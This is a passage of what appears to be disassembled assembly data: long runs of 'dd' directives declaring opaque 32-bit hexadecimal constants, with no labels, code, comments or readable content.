		dd 77E40459h, 0C086EB06h, 8B4B08DBh, 0F88D4531h, 805753D5h
		dd 88A25110h, 0BB1A00B7h, 5DF254C0h, 0AB0160A3h, 0FD97CB9Ch
		dd 3AEF04B2h, 0C8836731h, 0CECD1323h, 620351D8h, 21F5D530h
		dd 3A0521E8h, 0AF00FE26h, 0A9345D12h, 1E031D15h, 0C40C7C72h
		dd 0CC46B8C8h, 0FEB10E32h, 5420D073h, 8262A038h, 50D949C0h
		dd 0E8AE96C7h, 0ABF303B1h, 4FD577F0h, 0DA552100h, 6822CD0Fh
		dd 1138004Ch, 0CF5A9AC2h, 9F0585B4h, 0D87BD4A6h, 32E71800h
		dd 3B134E37h, 6580C489h, 6C64EFA6h, 53008E17h, 0C29993F1h
		dd 5C04B67h, 6A5C9AFDh,	4333C044h, 0DF1CB95Dh, 0E7C0B18Ch
		dd 4B224703h, 0D2B21DD0h, 4F7A3B05h, 0D57C0563h, 4ACC41C9h
		dd 802A06AAh, 77DF4019h, 34F7A9Ch, 0B81B528Dh, 9FD0AEAAh
		dd 73005D06h, 530DB66h,	0CB53A6h, 9158A449h, 0A222236Fh
		dd 89A16E00h, 0D361C87Ah, 107868DDh, 4C507504h,	73793E1Dh
		dd 62E8007Dh, 5A84BFBAh, 0DD00943Eh, 35F8699Bh,	6EB44C7Ch
		dd 634626EAh, 7E422928h, 11F7BE11h, 411EB40h, 3DF2115Eh
		dd 9CC4D938h, 2AAA28A0h, 18089689h, 0C7888944h,	0B15B2029h
		dd 30511DBEh, 4A00EB09h, 7164D232h, 373FCD5h, 22DF98Dh
		dd 0D68E0E81h, 4BEB4204h, 0F080E19Fh, 0D05A2Ch,	570632C2h
		dd 0A10E1FDAh, 53007EF6h, 0FABAA9E3h, 5C8FCC03h, 2600AACBh
		dd 98652117h, 2C009B16h, 62FEEE75h, 0A02D9h, 44C7DB3Ah
		dd 7BA184C1h, 0F93B1700h, 0D7BBD21Eh, 5EC800A0h, 1093780Ch
		dd 4A0A0340h, 0BCA52A2Ch, 0D523E101h, 0B6C46F86h, 7B6A0037h
		dd 462BD0BCh, 5D00BD45h, 30D391C7h, 6BBE5876h, 0D000806Dh
		dd 9731E2D9h, 0FD83A918h, 0DD9519h, 18AB4087h, 0B93A4A02h
		dd 9768A360h, 767F9E83h, 0D3AF004Eh, 99816A5Fh,	0F00BDB3h
		dd 0F0E6BFECh, 0F013923Bh, 0BAA006Ch, 4F5802D5h, 0D60060D3h
		dd 5C7AD47Eh, 162C309h,	76FF1C73h, 0D4050E48h, 0E200E7E6h
		dd 2D7ED1F5h, 1F14ABE0h, 49B6E1h, 784E90F9h, 29006C9Fh
		dd 657AFFDEh, 76A2FE1Ch, 48A3ECCh, 68857780h, 0BA29CD3Eh
		dd 4AB19500h, 572E5001h, 6EC90067h, 0D4449D73h,	1800B952h
		dd 31BCF88Dh, 71CF5E7h,	0A2348B29h, 0B2208176h,	2007FDCAh
		dd 1873A106h, 15003B7Ch, 638D5E3Ah, 50F9DA92h, 722E05Ch
		dd 0D866D62Ch, 0F5BB2059h, 0AA00F3F0h, 4927C3B2h, 7354B8C4h
		dd 11190777h, 432BEAEh,	6188309h, 3CA98B80h, 710005E0h
		dd 435ED0E3h, 0FDF879h,	3596AE34h, 0AD68AB0Bh, 12587F14h
		dd 0DAAC05D4h, 0F840BDCCh, 0CFAFC4CAh, 0E636015Fh, 392EBF93h
		dd 557E6065h, 0B3AEE900h, 0DA9FA7C6h, 6DCE00ABh, 690EC0A9h
		dd 24F61FCCh, 8F0020DFh, 0C4BBB64h, 0A0293FF7h,	0F0DC24h
		dd 2F94FC32h, 0B00622Bh, 22558D7Bh, 3DAAE2DBh, 2600D4C8h
		dd 0D27A5ACh, 0B2009F09h, 0E4A1F13h, 249896B8h,	6C7054h
		dd 0CFF63EDBh, 0C600AC15h, 0D0881C4h, 1E1DF3EFh, 40D253B9h
		dd 0E1AA9832h, 0BB070143h, 0F1908AEh, 0C0555030h, 959200D3h
		dd 7BC966DAh, 51004F0Bh, 307AD74Bh, 3CC8C27h, 0F314831Dh
		dd 700081BCh, 9D2FE909h
		dd 0A42950h, 15E2E396h,	5B94CA74h, 0C44CC11Dh, 7B80F7C0h
		dd 0EC72AC88h, 2D6100A9h, 7C3429F3h, 0F400A33Eh, 5480A1B8h
		dd 98C2BD73h, 5EBB0078h, 0F8EDA8E8h, 0D4485222h, 177098Ch
		dd 2C0980EBh, 8987BDh, 456FCF8Ah, 0A0F45785h, 26A6AC00h
		dd 339F9EDDh, 7AC8002Ch, 0A1AEB446h, 7B1C743Ah,	8E802085h
		dd 0B69B1867h, 0B7131C93h, 0E12F0h, 0ABED1FA4h,	9090E70Ah
		dd 4E17F00h, 96463165h,	2D5D00CEh, 401E6EF5h, 0CC009ED2h
		dd 25108EF9h, 1CEA637h,	7FEAF74Dh, 0C42231A7h, 213E24F1h
		dd 0F2CF8075h, 0D327C48Bh, 0A65B3BDAh, 5413A4h,	0C7AE236Ah
		dd 32134853h, 6F00F68Dh, 716785EBh, 0E7C9007Bh,	44433A3h
		dd 27009E81h, 0F80B7356h, 3EB0D6Bh, 0CFF2DA02h,	1AA0CD62h
		dd 967E20AEh, 7B732800h, 0CBA58041h, 0B0320156h, 0C2F2D8F4h
		dd 6460E676h, 470E5C26h, 5FC48339h, 54CDDD80h, 5A9B2E2h
		dd 0CA09AAB9h, 0AD64C0B0h, 0D6078B6Fh, 0DF2E6DE1h, 0B42A7BC0h
		dd 0B7303991h, 0A7E7590Eh, 74DB9DC0h, 9C13CB15h, 800EA64h
		dd 5A3AB548h, 3E1D00B2h, 0D441A2DDh, 951C0DD1h,	6A80FD64h
		dd 1620E9F4h, 0BE860E17h, 0C3A0AEDAh, 0FCC50F5Eh, 1C8D4B01h
		dd 137DC7BAh, 7DFB18F4h, 0D45900F1h, 0D632A9FEh, 0A70B091Bh
		dd 7B4B38h, 85C0959Ch, 1A7D2450h, 9A71800Ch, 0C52D57A3h
		dd 0CF5E6B00h, 0C630E7E8h, 1B3ECFDh, 7BE6A071h,	0C01F57E0h
		dd 7800B994h, 52A88206h, 4CB62Eh, 0BEBB6F4Fh, 1253F975h
		dd 11DBE60Ch, 451843h, 0FAC7F542h, 13D08EFBh, 890E7400h
		dd 87702EEh, 0B12B0004h, 2C9C5D6Fh, 9730F554h, 0AD848E22h
		dd 276B0002h, 5931D96Dh, 0CB00D566h, 8B2BBCDDh,	79B129h
		dd 6C80D0F7h, 476EC78Ah, 7FC43401h, 77905E70h, 86CCD4h
		dd 0AE212AC3h, 2CDDA104h, 4CA69700h, 0F01BE613h, 0E2580044h
		dd 8B036E1Eh, 46001C7Bh, 49332079h, 73FD4D15h, 0C65F0041h
		dd 0FE30FCD2h, 0B6006E83h, 4C89F380h, 0CA5531h,	0A7D058Bh
		dd 6FB2B509h, 4AC839h, 219182C6h, 0E60836A2h, 5F640037h
		dd 0CD90192Ch, 0A500A13Dh, 4B9B5C15h, 75D791h, 0D41AEDD2h
		dd 0BB9AFACEh, 3572570Eh, 0EC5A6093h, 71861E7Ch, 0BA400F8h
		dd 0B4BA144Ah, 0CD03A6B1h, 88B0F543h, 4E801F56h, 444603D7h
		dd 22A07C98h, 0FF0FEAB3h, 808BFACDh, 5A9C814Eh,	0D64069Bh
		dd 384AFCF9h, 80E36A0Eh, 0E811F83Ch, 0DAA70059h, 0B785C8F0h
		dd 0BCA0C179h, 32017ED2h, 972DD714h, 0AC85950h,	0FA3D0047h
		dd 6E3E936Ah, 0A07A6120h, 9CFD1528h, 56CC4800h,	760DDAD2h
		dd 0F5E10283h, 78402C52h, 0DC97B8E0h, 9EFE2B00h, 0E5CA4D11h
		dd 7F2300DAh, 35044709h, 5F00EFEEh, 2883EF3h, 197BBF4h
		dd 0A7D575C6h, 8AE3F063h, 0E4062098h, 53604583h, 77368974h
		dd 0BCF49F9h, 8416F920h, 0BD4C4E80h, 0B8001947h, 4324E126h
		dd 0F0610718h, 97953h, 0FD7FE434h, 0A1764BCBh, 0FAFBBA00h
		dd 22584A75h, 0FC3D0044h, 835E10Bh, 0B100303Ch,	0D506491Eh
		dd 0F8B376h, 6BB97CBEh,	95AE0BEDh, 0F5D03D1Eh, 327FC6C0h
		dd 89B018h, 0F2CBEB16h,	0EE98FF25h, 52AE3Ah, 0A58FD77Bh
		dd 515D42h, 33B8BB1h, 275FA896h, 6761D503h, 0D0143872h
		dd 7499E068h, 0A7E600FEh, 1913BE20h, 0CD07B7E5h, 9BF38907h
		dd 5BF4805Fh, 517221h, 7FA4CB22h, 0C854C54Bh, 0BF689900h
		dd 0E39CB5C6h, 0D9110064h, 4DA3BB19h, 0AE004A2Eh, 0C43C977Ch
		dd 8DDBE5h, 4682DC69h, 54206F1Fh, 9E1E8E07h, 836056D1h
		dd 748D9FCh, 932A9A7Eh,	0E523A01Ah, 3A7F2D75h, 3C9B700h
		dd 0AB0E1976h, 0E4CF28C7h, 0B64A03DCh, 0B7BE8ED4h, 0A6D897EBh
		dd 0D1012C3Fh, 0F8CFC6A1h, 0D9CDF33Ah, 94DBDCh,	1F68E815h
		dd 4C13FB7Bh, 9FF0AC01h, 0B31256B6h, 1F807EE7h,	0C05CFAD2h
		dd 1BC60334h, 420016DBh, 0FC8B39F3h, 4C023DDAh,	0F00480Dh
		dd 64F7D027h, 0BE750338h, 9D16913Dh, 1B40F642h,	0DE292D9Fh
		dd 0BFA51822h, 0D4EE4004h, 5A6A5700h, 10866F84h, 98CDA07Ch
		dd 46C138D6h, 43DB324h,	80248F14h, 0FCA4BF9Ch, 0FEC92202h
		dd 0C0D6CF76h, 0EEBB4Dh, 0E0B748B6h, 296FB938h,	18AFD900h
		dd 46F10F01h, 0B97009Bh, 35BA70EEh, 0A500851Ch,	0FA26C258h
		dd 0F862B24Bh, 660F00F4h, 0B9B5406h, 760425E4h,	287181F3h
		dd 5B565480h, 0B24928FEh, 33C8F3B8h, 0FDEA96h, 9AE50DACh
		dd 52B77C13h, 0FB6AFE00h, 6F339C6Bh, 251D1F27h,	0E8C24BAh
		dd 468FD757h, 26F0B580h, 10ECB440h, 14A7DD24h, 7520D000h
		dd 0B09969E4h, 0F75012A3h, 547003BDh, 0FAD8AF9Fh, 0CA00D788h
		dd 0A2856014h, 38A3DE96h, 2180C41Bh, 0E92265FDh, 5FE235C8h
		dd 486BA909h, 1E2380BFh, 4DC34BCh, 0A7A6FF2Eh, 52E8824Ch
		dd 6B3E3CC4h, 77DA007Eh, 829A978h, 440900Fh, 0A304600Dh
		dd 0C2E0805Ah, 0E2FC1C25h, 8067BE3Bh, 9133C53h,	17E9A77h
		dd 0AC646C71h, 30102439h, 6B26E3B0h, 4209D57Fh,	69240306h
		dd 104DC813h, 1A730039h, 235B60E7h, 0A01A4B5h, 8704FA5Eh
		dd 4DF85309h, 0ADC32679h, 125283D8h, 0ABD0D8CCh, 0C8007A6Bh
		dd 0FBBE0104h, 26B86E5Eh, 34CDC0Bh, 0A34A951Dh,	229D86C8h
		dd 169C5800h, 0D2346BE2h, 7AEA0067h, 0B8856CE4h, 3C0055ABh
		dd 948D03F9h, 182A8C09h, 4049B05Bh, 0C81D9954h,	3440D96Fh
		dd 413AF2C3h, 1FEB070h,	78E15B8Fh, 30D81F8Eh, 11005458h
		dd 3959BCACh, 5B41B3h, 0CFE531A1h, 0C298699Eh, 0CEE83505h
		dd 0FC009DBDh, 7E2BDB92h, 245800A1h, 36B2B90Ch,	0D348105Fh
		dd 6D8C0019h, 0BCA78228h, 7339085h, 1A5ACD17h, 0EE4AD095h
		dd 0D4007CA1h, 0B8E1EB20h, 23B149Ah, 0ACED13D3h, 0A680CBFCh
		dd 3084E0B2h, 2D58DDFEh, 7A54012Bh, 965D749Eh, 95E730h
		dd 91D03936h, 0AB940366h, 61FCD405h, 0CC0C6E6h,	3A6FF949h
		dd 0CE15C94Fh, 630080F8h, 0EAA25D31h, 93FFCCDh,	9C1400FFh
		dd 6B950888h, 4976030Bh, 539FE23Ah, 0C103A8D0h,	9E8ECA00h
		dd 3EC319F9h, 2ADC0EB3h, 7BBF148Dh, 4E9A5060h, 6D5C6A56h
		dd 7FB00002h, 5A8C5069h, 0B75E0064h, 720F6686h,	0E709F1EBh
		dd 0C75FAAh, 0FA099EBEh, 0DA3F014Ah, 6AF057B2h,	1BB864D0h
		dd 0C2473101h, 6CF4A72Ch, 486C20h, 4F694929h, 239961E4h
		dd 8ECC301h, 6DFAC4D3h,	605B3E20h, 0C6061181h, 850234D1h
		dd 78E20752h, 0B10CC04Fh, 0DF2301AEh, 103CEF56h, 296420FCh
		dd 4CCE5407h, 53679B7Bh, 0A1517900h, 86090036h,	3F480ECh
		dd 850BD29Dh, 805BA721h, 46225200h, 0A6EB0BAAh,	84807B5Ah
		dd 0BD02232Bh, 0D9F7DC04h, 0C9C2B418h, 62D68711h, 0BC156F5Fh
		dd 0D801F416h, 7844F980h, 671E5180h, 72363005h,	0A0310C01h
		dd 0EE11D5CCh, 0E84040DAh, 0EA0D0075h, 0B152B209h, 1503B7D6h
		dd 0BE4D20C6h, 7537880Bh, 2620044h, 6C2FADA1h, 4005443h
		dd 0D7332E6Ah, 0DE5B0CD3h, 4B6E5F20h, 6280CCC0h, 0E82C6504h
		dd 0D0979C00h, 334F0528h, 7946FAD2h, 0CC2250F4h, 0C1920037h
		dd 0AF86C52Ch, 833D6F06h, 3EF4D4B8h, 4846E724h,	446D6100h
		dd 6C18E0h, 1467FDD0h, 85305B23h, 5E229800h, 1B7143A0h
		dd 794B00DCh, 0D5897320h, 5500DF2Fh, 62013FEEh,	2B6897h
		dd 98B1C9CEh, 78D79C5Bh, 6B007279h, 9B4708C2h, 139DECh
		dd 0A526F4BDh, 0E2BB9FDCh, 96838012h, 85C58801h, 44628A6Bh
		dd 21DF900h, 9E3608ACh
		dd 62E34600h, 0FC8A7C7Fh, 15D7002Fh, 0E265A956h, 0C284B83h
		dd 0D04BC7Eh, 0DFAB973Fh, 6AA3ECC0h, 0A823AEBh,	92B00500h
		dd 4CC002D5h, 620A460h,	2CF91B30h, 5485F71h, 0B230E7Bh
		dd 0CC20DAA0h, 6FD75CA8h, 0DD99B901h, 0E1FE300Fh, 33C97EECh
		dd 44DAE5B8h, 8256460Eh, 8000F25Eh, 0AA39EE4Fh,	740A02AEh
		dd 45F6172Fh, 0BDB8A0C0h, 5BE91400h, 0FC166790h, 1CB02Bh
		dd 0FA53C011h, 73D17605h, 0D6473B0Bh, 0F3248367h, 0A2F9E064h
		dd 3A270043h, 81C1E95Eh, 6912C592h, 0D40137F6h,	760AA366h
		dd 220320h, 0D18DBC17h,	0F5A20BD7h, 9FE69901h, 33880337h
		dd 1611296h, 5F4FE1ECh,	0F0586078h, 7881F5Dh, 3B5C8F06h
		dd 0F40984D0h, 0B4870B25h, 0D0802183h, 656024F1h, 14E00801h
		dd 33931B62h, 0C090C4h,	0A6B127ACh, 0C40A4E98h,	541224B8h
		dd 14C4AAF2h, 289D10C0h, 0A45F4827h, 0D105AC48h, 0C5EF1F7Dh
		dd 0DA3800ACh, 6190C170h, 3C00104Ah, 1DF89FFEh,	827200B3h
		dd 0BB59088Eh, 53016134h, 0E285134Bh, 6E136DEh,	0E8F868CDh
		dd 5D840370h, 3B7ACF2Fh, 0A7E99A8h, 4F400D00h, 953DE76Fh
		dd 0A06D6051h, 47CDD5F5h, 9D1F50E8h, 34C0B9D0h,	4DAECA75h
		dd 0D1F009E0h, 8804137h, 0BA927DDBh, 360070F6h,	0B38B3A1Ah
		dd 0C4F0E5h, 8D4B640Bh,	1ED76582h, 7870D1F8h, 0C3FD1B00h
		dd 0F56A1432h, 8AB948ACh, 1EC85F00h, 616F3949h,	0EEC9F62Ch
		dd 0A3184000h, 4592ED3h, 0EF7841F1h, 8788D413h,	0D122E04Ch
		dd 0E00BCC3h, 8AC7AF8Dh, 0E2235246h, 12C60E10h,	0F420EBFDh
		dd 0D3136A53h, 1DB19324h, 8756023Fh, 80F0E3D7h,	916B6E84h
		dd 180300FCh, 8C97E9A5h, 0AC00054Ah, 3CB1DD60h,	20EED1h
		dd 0D97648CCh, 9427F619h, 0A5077001h, 68E22D03h, 0AB3096h
		dd 0B9F62CA9h, 0E11EA97Ch, 2133CCDEh, 0A352CBC2h, 0DFC341h
		dd 3AD62F2Ah, 2495C8Dh,	8E6818C0h, 7B5F634h, 55BA9522h
		dd 0EA7EF078h, 9700AC20h, 466ED52h, 0AA055Dh, 81B4F1EFh
		dd 8D0A74CBh, 0E7D60C05h, 34059CC1h, 4000C7DDh,	7DF1FFA8h
		dd 4938C0BBh, 15FC3A9h,	8079CEh, 8D02DFD7h, 0F5360F2Fh
		dd 0EF80D56Eh, 173A8374h, 1E9BEC03h, 98CADF5Ch,	0C347C2h
		dd 20FBF0C5h, 1144FC35h, 12185303h, 0D0761F5Fh,	108651h
		dd 0E9981536h, 0AC9D45D7h, 22278000h, 0C11B252Ah, 3DE0046Ah
		dd 0FB071F49h, 23A82400h, 0F4E3655Ah, 1B6300C2h, 1130B31Ah
		dd 0B93C8928h, 0C9CF8017h, 0F755E367h, 6CEB0075h, 0A3CA35ADh
		dd 0C800DF4Eh, 1C48BD6Dh, 0C02D12h, 0A5F519F7h,	2B893FC7h
		dd 64C22C04h, 0BE029Bh,	994CCAC0h, 300DDCCh, 32EEB2AEh
		dd 3A5675h, 0C8A6FBECh,	29E0D3FDh, 4AF0B402h, 0A522540Eh
		dd 47E059Ch, 5E984A0Ch,	8F144B10h, 0EFCB846h, 20F0AD88h
		dd 0DF852FF6h, 8C943E43h, 13FD8A1Eh, 7FFF0F06h,	87680F92h
		dd 96F10480h, 40606EAFh, 4A5C6659h, 8051CFB6h, 0F7E38130h
		dd 5D39485h, 1E904028h,	0F6EC1051h, 2E1F6D01h, 0C1117E0Dh
		dd 55C02F86h, 32C9415Ah, 0DDB908D2h, 5D0A60A2h,	6F9DED00h
		dd 0CB59C080h, 6CD36AEFh, 0D301B02h, 9082E25Fh,	80094070h
		dd 0AC3A0FE7h, 683CC1h,	8DEA97B3h, 0C90517FDh, 310085E8h
		dd 8052C3ACh, 0F7D7781Dh, 7C81603Eh, 0AC0333A3h, 98AC004Ch
		dd 0CAF23FEFh, 0AE74345Eh, 9C2FA9C1h, 9448426Fh, 83771892h
		dd 80AAA9C9h, 38339B30h, 60F78B6Ah, 0E3CB1814h,	80FB6EABh
		dd 9C352139h, 482FA979h, 1733F0F1h, 21002408h, 0E89C066Ch
		dd 0C93660h, 0B2B0D0DCh, 0FDE49D8Fh, 774BF8C7h,	55932B10h
		dd 0E1D4F48Eh, 0BF421887h, 243F5087h, 8A09621Fh, 29573DFh
		dd 889A8D00h, 0E41EA0B0h, 0DFC10D20h, 4848255Fh, 0AD18AE2Ch
		dd 0D920E550h, 5AF72082h, 9A7BD500h, 0DC9E04FFh, 5D6480F0h
		dd 0D6487612h, 0A6024C40h, 38499C1h, 632D22AAh,	0F5A22511h
		dd 0AE23A0A0h, 3F75CBC1h, 1A55E000h, 0E3CAA6ABh, 5DB33A67h
		dd 0B40D2D00h, 0B11249A3h, 81B27100h, 0FFF7C619h, 0BB061EBDh
		dd 0CE5B8025h, 0D8C401BAh, 8B0F300Bh, 0C90780BFh, 68FD0Ah
		dd 7AE2C2D4h, 0EFCFB7B2h, 0D3F78700h, 0ADBA2132h, 6E3E0079h
		dd 4BFFAB51h, 80042F9h,	54E8707Dh, 38B74EF1h, 0DC806407h
		dd 1CFA9C03h, 870041BEh, 67A5FFA3h, 318978D6h, 0F84009BDh
		dd 0EE1C088h, 0FCA6DB0Fh, 8F080E73h, 0A53A000Bh, 0EEC0C178h
		dd 795E007Bh, 0B70315CDh, 50C1F860h, 4C8EA7CBh,	0E5D6BD0h
		dd 0DA62456Ch, 9A753100h, 0FC0553BAh, 74D9A7A2h, 907CC6h
		dd 75474852h, 0F2BB5AF6h, 0C8C0CBE6h, 0ABCC65A3h, 0C1760189h
		dd 6393AAEh, 0E00ADC14h, 80EB6800h, 0F25D7EF4h,	4D4F0041h
		dd 57824448h, 0F85CA377h, 0F5F0F40h, 868C86DBh,	0CC760019h
		dd 0A2F83952h, 0FB61EF84h, 0D8645EB8h, 0BE71A050h, 38310C5Ah
		dd 14D9FAE0h, 2ECB0A00h, 6F4241DBh, 5160ED53h, 0B4E5037Fh
		dd 370D225h, 0C46426B8h, 224E5F00h, 755E14B3h, 0E5E60077h
		dd 8F34BEF3h, 0C40997BCh, 803D3EF2h, 0D94CE132h, 28D40752h
		dd 4076B354h, 73925BF7h, 0F586E500h, 0F35F0485h, 4908CC6Dh
		dd 8B1DB521h, 2A0009E5h, 0D41D6508h, 0CAED01C7h, 0C4627B6h
		dd 895BE828h, 3C25103Ah, 99D70072h, 488F8037h, 762C1990h
		dd 0B81B08A0h, 37828321h, 8870F79Ch, 5FA751h, 49E0A9D0h
		dd 856BEF4Ah, 1839E939h, 0EC88D8EBh, 0CF4E3F6h,	0F920C47Dh
		dd 56511A9Bh, 0B88B0A59h, 0D1FB0E08h, 0DF742D40h, 0DC31244Ch
		dd 734608B7h, 879E2080h, 0C2D05CFBh, 0C7601B00h, 62211650h
		dd 778F0002h, 0B10BB9AEh, 2800B465h, 8E835FA6h,	0D85067Dh
		dd 9A519BA7h, 7E789180h, 5A42D88Eh, 5031A774h, 0FB8A9110h
		dd 0D1D66607h, 7E90C5A9h, 1EDCE0A8h, 58B028D5h,	0E9CD7180h
		dd 91009D79h, 1B7CA41Ah, 0A052E20Dh, 4BEF5A3h, 93D93988h
		dd 2E42C041h, 0C9B8FB01h, 0DF05CC98h, 684DF7A2h, 0DB327480h
		dd 360A06B6h, 113CBD55h, 52060485h, 1001F7h, 5DDC40DEh
		dd 0B0A215D7h, 8A334C00h, 301A10FAh, 5EF80152h,	23DED5DAh
		dd 0FE299072h, 1B31B390h, 115B0428h, 0EA12707Bh, 9008CA11h
		dd 440C5944h, 22846676h, 9C4289E6h, 22779811h, 6F3800D2h
		dd 2D4A347Ah, 8F00732Bh, 62865614h, 90CAB4C3h, 53DF0042h
		dd 543C698Dh, 7078F30h,	0A2D06A18h, 0D614ACB0h,	2D05004Ch
		dd 3478015h, 930050B1h,	4F998116h, 0EC263462h, 270900F5h
		dd 8BA33ED3h, 0EB0020DCh, 0EF623D11h, 478E92h, 5FE61E4h
		dd 4D90E78Fh, 3D17F800h, 488B7732h, 8AAB00E1h, 3C40B5C1h
		dd 130C5A8h, 0F5B72014h, 0B80E72B0h, 38A40A7Ch,	0D03154h
		dd 5F24187Ah, 3F393A39h, 0CFB58012h, 0ADCA6EDDh, 3D6607A9h
		dd 5CD8AB40h, 0D6006511h, 0FADBCFA6h, 28E52F1Dh, 0F4B384h
		dd 0C3891548h, 0F69D65EBh, 0FEE7D600h, 442D4314h, 955A002Ch
		dd 42F3400Dh, 0F7DF939h, 6E006177h, 1D79A58Dh, 0F765931h
		dd 384B78C2h, 172681A0h, 7000673Fh, 6457884Ah, 7C6619h
		dd 682D9356h, 51493CD5h, 4C09787Fh, 80760644h, 6D6C13BCh
		dd 366CEBF8h, 512EB200h, 2125E6A8h, 18039C00h, 5746A58h
		dd 76E302F9h, 892F96A7h, 9F80D163h, 0C30C7B01h,	0E0B30A08h
		dd 65630004h, 47515630h, 0E2FC9B4Fh, 0A7CE8500h, 940CC6B0h
		dd 895F00DBh, 9CA8587Dh, 1C07E3A4h, 81ABBC76h, 40621090h
		dd 0A1590201h, 0B2E6338Dh
		dd 0F50A0440h, 42A39F00h, 0AFD106BCh, 0E07E003Dh, 1D09DAA9h
		dd 7F0013B6h, 0DFC3A193h, 30794AD6h, 0AA1EA89Ch, 3D004FA2h
		dd 0FB089BEh, 0F96163h,	59ED4E07h, 1825E7B7h, 0B61B8300h
		dd 3CD40603h, 4542002Eh, 3A663243h, 417065AEh, 0C2970D00h
		dd 5E46956Dh, 6120C7A3h, 0A64430C9h, 0D9FE62FFh, 90BD5403h
		dd 0D995AD5Ah, 8AEC6614h, 0D3FB00D7h, 6155AF09h, 3248EDB0h
		dd 0B78B00F8h, 0F4C4DAC3h, 5B860079h, 0DF101136h, 0D9005083h
		dd 31DEA9E7h, 144ABCh, 52A213B7h, 6965DF19h, 0E5C7C00h
		dd 8DA65BD7h, 80854824h, 0BFF32Eh, 4E7DC691h, 9500BEA8h
		dd 0AF7C2252h, 0A0B93E1Ah, 31426FBh, 0B584FCCAh, 86E14E65h
		dd 0D9409F7Eh, 0EC40EEDEh, 9354E1CBh, 446907CEh, 80831E72h
		dd 6DB310C9h, 0B60B2500h, 0B1AEC560h, 0BEBF0962h, 9583D9B5h
		dd 33C00743h, 4B001FF4h, 5283E6FBh, 0C037F995h,	0EBE20AF8h
		dd 0DD02C0DEh, 9E7A18B0h, 808443F7h, 0EEF6729h,	79FF6CC8h
		dd 0E11A20E7h, 0D8BD6BDCh, 30001C69h, 0FA775AC3h, 36928Ch
		dd 2FC74260h, 0D26764DFh, 6B542202h, 4010DD27h,	6DBD68h
		dd 3CE14ABAh, 74D74DBFh, 31E7F701h, 0EBCEDCAFh,	123EB420h
		dd 5373A645h, 0BF40062Ch, 33014006h, 0CC16604Eh, 2820AD77h
		dd 2E090F7h, 3F292AAh, 0B8E05A1Bh, 103B142h, 0E3BB8D6h
		dd 0A95901F6h, 944E1CBCh, 0E0837095h, 263D7D01h, 0DD284FA3h
		dd 7C4A5DCh, 1DCA2B8Ah,	460F209Bh, 5F00EFD7h, 857FF260h
		dd 2423A594h, 1425D0CCh, 0FA1EC454h, 0B8FC8CC5h, 4F0C03B0h
		dd 80212959h, 94F40098h, 0B66B464h, 67099DAAh, 81C34AA2h
		dd 4CECF10Ch, 8D2030h, 0F5F96C52h, 0B139A3E3h, 0EFB5B07h
		dd 0A0FE4670h, 405633E5h, 0A2790022h, 21DC8625h, 230ED9B9h
		dd 8F5595BFh, 532F805Fh, 84A1CEh, 6F6AA490h, 5D202445h
		dd 0D800DF72h, 4CF5D306h, 153F627h, 7DEA59C6h, 0E7E16AC9h
		dd 0E0B213C0h, 7BD390Fh, 9E8820B3h, 1EBE3FBh, 0BC41CE0Eh
		dd 34524467h, 0D900EFA0h, 933C09FFh, 2C42B3h, 1AB592BEh
		dd 0DB68C2B1h, 0A123Dh,	59A557C4h, 3E4F4AEFh, 0DF80C32Ch
		dd 0D844C23Dh, 650E403Bh, 216703F6h, 6C74CD0Bh,	7E28C8h
		dd 2568A8BFh, 794D2FB1h, 7C0E9800h, 163557DFh, 3DEC0046h
		dd 8B2C5FBDh, 6D0124D6h, 6E03E838h, 99D5DF65h, 0B90B003Fh
		dd 47CE6A51h, 7153830Eh, 50C9205Dh, 1D46E767h, 53FA90B0h
		dd 0A9EC0056h, 37DA3B3Dh, 21CFB218h, 125A119h, 0FA47F1CCh
		dd 0D805E5E3h, 0FB1D510Bh, 0DD47263Ch, 0F3F098DBh, 2419B65Bh
		dd 0CFB82Bh, 49383712h,	857A3340h, 0E51E1C7Ah, 31004E9Bh
		dd 24DB8983h, 0A88010Dh, 3BCF74C9h, 0E2349F6Fh,	0DE7AF100h
		dd 3E0BEF7h, 32CDE89Eh,	0EDE85F65h, 749830A8h, 1D0018FAh
		dd 76A43469h, 7DD6E5Bh,	0D5E45FFFh, 0B90B6001h,	0BD600CA1h
		dd 7CD387D2h, 0ECEE0028h, 2D5492ADh, 48009DB4h,	60C12739h
		dd 733C0Ah, 217FB8CAh, 3101CB6Fh, 0B55EAA00h, 0CDF95610h
		dd 0A8EC0F7Bh, 0B0C06775h, 7E338562h, 299D9A07h, 0A0103015h
		dd 0AB7F18h, 0CAB048C6h, 3C04BB1Ch, 1F79ED03h, 90AF3B19h
		dd 490703h, 0C3ACB433h,	77B043D0h, 0E399A400h, 346DF468h
		dd 8E1700D5h, 0E0C8F7EEh, 1D0351A2h, 0DF0AC27Ch, 29EC89EDh
		dd 627720h, 0D26D8D68h,	8FAC5251h, 6EF00F07h, 0DDB01E46h
		dd 48DFCAC7h, 0D5021481h, 9BCD0254h, 427CA240h,	0B47358h
		dd 0EB5038F9h, 0ABFD2Dh, 48EF5FCCh, 0BCB93398h,	20DAD604h
		dd 0BA83725Bh, 0D75CD09Fh, 8D2A0F5Fh, 0BBC5C4F7h, 6507C088h
		dd 78006C14h, 3DE2227Ch, 36D730h, 5A66161Ah, 0E7E96F53h
		dd 469CD00h, 0B0834E61h, 0A1493B54h, 8463CC82h,	6440AE40h
		dd 6CFC3EB6h, 0C5178CB8h, 0DD00FFFCh, 0D45DA234h, 37ED0006h
		dd 3FC3B191h, 0BE03353Ch, 9DE8E9D3h, 0C7380047h, 600B9630h
		dd 24007210h, 582AD5ADh, 0E4D7F654h, 0E080900Dh, 0F300F3EFh
		dd 5A016FFAh, 0D59335F4h, 4F01558Bh, 917EF8BEh,	8001AF3Ch
		dd 30570FFFh, 5FE092h, 1940766Ah, 0B4262FBEh, 0E0A2E0Eh
		dd 0D4DD4047h, 1A5B203h, 0D131EF52h, 809619A8h,	4C2855FCh
		dd 3C63A772h, 940938BCh, 8800D801h, 0EC218280h,	0E7AC4D00h
		dd 0BC7BB64Eh, 35F02469h, 0F69C90h, 571E81E2h, 1000648Ch
		dd 6AADE1C8h, 0E0A270h,	29FF3CDCh, 196C95F5h, 889B6324h
		dd 9811F300h, 0CEC865Eh, 252B39F8h, 0B0EC4B18h,	0CC9FBA00h
		dd 7E1B5159h, 0FB350128h, 0A37DDC31h, 2DF0EFC0h, 530047E5h
		dd 45A3BA0h, 0D2116Dh, 840F8301h, 61520E4Fh, 9337E800h
		dd 0B41E917Fh, 25BB0054h, 2FEF7B4Dh, 0AA0E62ACh, 0FED95664h
		dd 0A53FE940h, 28A75BE1h, 80D460h, 0F4DBBC39h, 5639CB9h
